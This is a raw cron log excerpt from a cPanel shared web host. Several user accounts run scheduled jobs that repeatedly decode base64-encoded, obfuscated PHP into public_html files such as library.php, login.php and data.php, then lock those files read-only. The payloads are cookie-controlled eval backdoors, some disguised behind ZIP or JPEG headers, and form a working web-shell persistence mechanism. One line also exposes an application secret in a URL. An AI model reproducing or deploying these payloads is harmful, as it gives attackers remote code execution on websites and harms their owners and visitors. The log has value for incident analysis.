bMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:16:01 medusa CROND[29170]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:16:01 medusa CROND[29171]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:16:01 medusa CROND[29184]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:16:01 medusa CROND[29179]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 12:17:01 medusa CROND[19440]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 12:17:01 medusa CROND[19441]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:17:01 medusa CROND[19442]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:17:01 medusa CROND[19445]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:17:01 medusa CROND[19447]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:17:01 medusa CROND[19448]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:17:01 medusa CROND[19450]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 12:17:01 medusa CROND[19453]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:17:01 medusa CROND[19455]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:17:01 medusa CROND[19446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:17:01 medusa CROND[19462]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:17:01 medusa CROND[19472]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:17:01 medusa CROND[19473]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:18:01 medusa CROND[9602]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:18:01 medusa CROND[9603]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 12:18:01 medusa CROND[9604]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:18:01 medusa CROND[9605]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:18:01 medusa CROND[9606]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:18:01 medusa CROND[9607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:18:01 medusa CROND[9609]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:18:01 medusa CROND[9610]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  1 12:18:01 medusa CROND[9615]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:18:01 medusa CROND[9621]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:18:01 medusa CROND[9623]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:18:01 medusa CROND[9624]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:18:01 medusa CROND[9625]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:18:01 medusa CROND[9629]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 12:19:02 medusa CROND[32222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:19:02 medusa CROND[32223]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
